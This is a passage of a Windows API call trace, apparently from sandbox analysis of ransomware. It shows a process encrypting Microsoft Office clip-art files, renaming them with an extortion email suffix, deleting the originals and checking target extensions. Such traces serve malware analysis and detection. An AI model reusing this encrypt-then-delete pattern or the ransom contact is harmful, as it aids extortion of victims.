lpNumberOfBytesRead=0x2d1fed4*=0x13ea, lpOverlapped=0x0) returned 1 [0221.350] WriteFile (in: hFile=0x218, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x13f0, lpOverlapped=0x0) returned 1 [0221.351] ReadFile (in: hFile=0x180, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.351] WriteFile (in: hFile=0x218, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.351] SetEndOfFile (hFile=0x218) returned 1 [0221.351] CloseHandle (hObject=0x218) returned 1 [0221.361] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.361] SetEndOfFile (hFile=0x180) returned 1 [0221.361] CloseHandle (hObject=0x180) returned 1 [0221.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.363] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf")) returned 1 [0221.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0221.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0221.364] lstrlenW (lpString=".doc") returned 4 [0221.364] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.364] lstrlenW (lpString=".docx") returned 5 [0221.364] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.364] lstrlenW (lpString=".pdf") returned 4 [0221.364] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.364] lstrlenW (lpString=".xls") returned 4 [0221.364] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.364] lstrlenW (lpString=".xlsx") returned 5 [0221.364] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.364] lstrlenW (lpString=".ppt") returned 4 [0221.364] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0221.364] lstrlenW (lpString=".zip") returned 4 [0221.364] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.364] lstrlenW (lpString=".rar") returned 4 [0221.364] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.364] lstrlenW (lpString=".bz2") returned 4 [0221.364] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.364] lstrlenW (lpString=".7z") returned 3 [0221.364] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0221.364] lstrlenW (lpString=".dbf") returned 4 [0221.364] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0221.364] lstrlenW (lpString=".1cd") returned 4 [0221.364] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0221.364] lstrlenW (lpString=".jpg") returned 4 [0221.364] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.364] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=11152) returned 1 [0221.365] CloseHandle (hObject=0x180) returned 1 [0221.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x20 [0221.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0221.365] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.365] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0221.365] GetLastError () returned 0x0 [0221.365] ReadFile (in: hFile=0x180, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x2b90, lpOverlapped=0x0) returned 1 [0221.370] WriteFile (in: hFile=0x208, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x2ba0, lpOverlapped=0x0) returned 1 [0221.371] ReadFile (in: hFile=0x180, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.371] WriteFile (in: hFile=0x208, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.371] SetEndOfFile (hFile=0x208) returned 1 [0221.371] CloseHandle (hObject=0x208) returned 1 [0221.371] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.371] SetEndOfFile (hFile=0x180) returned 1 [0221.372] CloseHandle (hObject=0x180) returned 1 [0221.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf")) returned 1 [0221.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0221.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0221.424] lstrlenW (lpString=".doc") returned 4 [0221.424] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.424] lstrlenW (lpString=".docx") returned 5 [0221.424] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.424] lstrlenW (lpString=".pdf") returned 4 [0221.424] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.424] lstrlenW (lpString=".xls") returned 4 [0221.424] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.424] lstrlenW (lpString=".xlsx") returned 5 [0221.424] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.424] lstrlenW (lpString=".ppt") returned 4 [0221.424] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0221.424] lstrlenW (lpString=".zip") returned 4 [0221.424] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.424] lstrlenW (lpString=".rar") returned 4 [0221.424] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.424] lstrlenW (lpString=".bz2") returned 4 [0221.424] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.424] lstrlenW (lpString=".7z") returned 3 [0221.424] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0221.424] lstrlenW (lpString=".dbf") returned 4 [0221.424] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0221.424] lstrlenW (lpString=".1cd") returned 4 [0221.431] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0221.432] lstrlenW (lpString=".jpg") returned 4 [0221.432] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.446] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.446] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0221.446] GetLastError () returned 0x0 [0221.446] ReadFile (in: hFile=0x16c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x121a, lpOverlapped=0x0) returned 1 [0221.525] WriteFile (in: hFile=0x1e4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x1220, lpOverlapped=0x0) returned 1 [0221.716] ReadFile (in: hFile=0x16c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.716] WriteFile (in: hFile=0x1e4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.716] SetEndOfFile (hFile=0x1e4) returned 1 [0221.716] CloseHandle (hObject=0x1e4) returned 1 [0221.716] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.716] SetEndOfFile (hFile=0x16c) returned 1 [0221.717] CloseHandle (hObject=0x16c) returned 1 [0221.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.717] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf")) returned 1 [0221.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0221.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0221.796] lstrlenW (lpString=".doc") returned 4 [0221.796] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.796] lstrlenW (lpString=".docx") returned 5 [0221.796] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.796] lstrlenW (lpString=".pdf") returned 4 [0221.796] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.796] lstrlenW (lpString=".xls") returned 4 [0221.796] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.796] lstrlenW (lpString=".xlsx") returned 5 [0221.796] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.796] lstrlenW (lpString=".ppt") returned 4 [0221.796] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0221.796] lstrlenW (lpString=".zip") returned 4 [0221.796] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.796] lstrlenW (lpString=".rar") returned 4 [0221.796] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.796] lstrlenW (lpString=".bz2") returned 4 [0221.796] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.796] lstrlenW (lpString=".7z") returned 3 [0221.796] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0221.796] lstrlenW (lpString=".dbf") returned 4 [0221.796] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0221.796] lstrlenW (lpString=".1cd") returned 4 [0221.796] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0221.797] lstrlenW (lpString=".jpg") returned 4 [0221.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.860] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.860] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0221.861] GetLastError () returned 0x0 [0221.861] ReadFile (in: hFile=0x21c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x488, lpOverlapped=0x0) returned 1 [0221.866] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x490, lpOverlapped=0x0) returned 1 [0221.867] ReadFile (in: hFile=0x21c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.867] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.867] SetEndOfFile (hFile=0x220) returned 1 [0221.867] CloseHandle (hObject=0x220) returned 1 [0221.867] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.867] SetEndOfFile (hFile=0x21c) returned 1 [0221.868] CloseHandle (hObject=0x21c) returned 1 [0221.868] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.868] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf")) returned 1 [0221.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0221.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0221.868] lstrlenW (lpString=".doc") returned 4 [0221.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.869] lstrlenW (lpString=".docx") returned 5 [0221.869] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.869] lstrlenW (lpString=".pdf") returned 4 [0221.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.869] lstrlenW (lpString=".xls") returned 4 [0221.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.869] lstrlenW (lpString=".xlsx") returned 5 [0221.869] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.869] lstrlenW (lpString=".ppt") returned 4 [0221.869] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0221.869] lstrlenW (lpString=".zip") returned 4 [0221.869] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.869] lstrlenW (lpString=".rar") returned 4 [0221.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.869] lstrlenW (lpString=".bz2") returned 4 [0221.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.869] lstrlenW (lpString=".7z") returned 3 [0221.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0221.869] lstrlenW (lpString=".dbf") returned 4 [0221.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0221.869] lstrlenW (lpString=".1cd") returned 4 [0221.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0221.869] lstrlenW (lpString=".jpg") returned 4 [0221.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.869] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=30414) returned 1 [0221.870] CloseHandle (hObject=0x21c) returned 1 [0221.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x20 [0221.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0221.870] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.870] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0221.870] GetLastError () returned 0x0 [0221.870] ReadFile (in: hFile=0x21c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x76ce, lpOverlapped=0x0) returned 1 [0221.902] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x76d0, lpOverlapped=0x0) returned 1 [0221.903] ReadFile (in: hFile=0x21c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.903] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.903] SetEndOfFile (hFile=0x220) returned 1 [0221.903] CloseHandle (hObject=0x220) returned 1 [0221.903] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.903] SetEndOfFile (hFile=0x21c) returned 1 [0221.904] CloseHandle (hObject=0x21c) returned 1 [0221.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf")) returned 1 [0221.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0221.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0221.905] lstrlenW (lpString=".doc") returned 4 [0221.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.905] lstrlenW (lpString=".docx") returned 5 [0221.905] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.905] lstrlenW (lpString=".pdf") returned 4 [0221.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.905] lstrlenW (lpString=".xls") returned 4 [0221.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.905] lstrlenW (lpString=".xlsx") returned 5 [0221.905] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.905] lstrlenW (lpString=".ppt") returned 4 [0221.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0221.905] lstrlenW (lpString=".zip") returned 4 [0221.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.905] lstrlenW (lpString=".rar") returned 4 [0221.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.905] lstrlenW (lpString=".bz2") returned 4 [0221.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.905] lstrlenW (lpString=".7z") returned 3 [0221.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0221.905] lstrlenW (lpString=".dbf") returned 4 [0221.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0221.905] lstrlenW (lpString=".1cd") returned 4 [0221.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0221.905] lstrlenW (lpString=".jpg") returned 4 [0221.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.905] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=2188) returned 1 [0221.905] CloseHandle (hObject=0x21c) returned 1 [0221.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x20 [0221.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0221.906] SetFilePointerEx (in: hFile=0x21c, 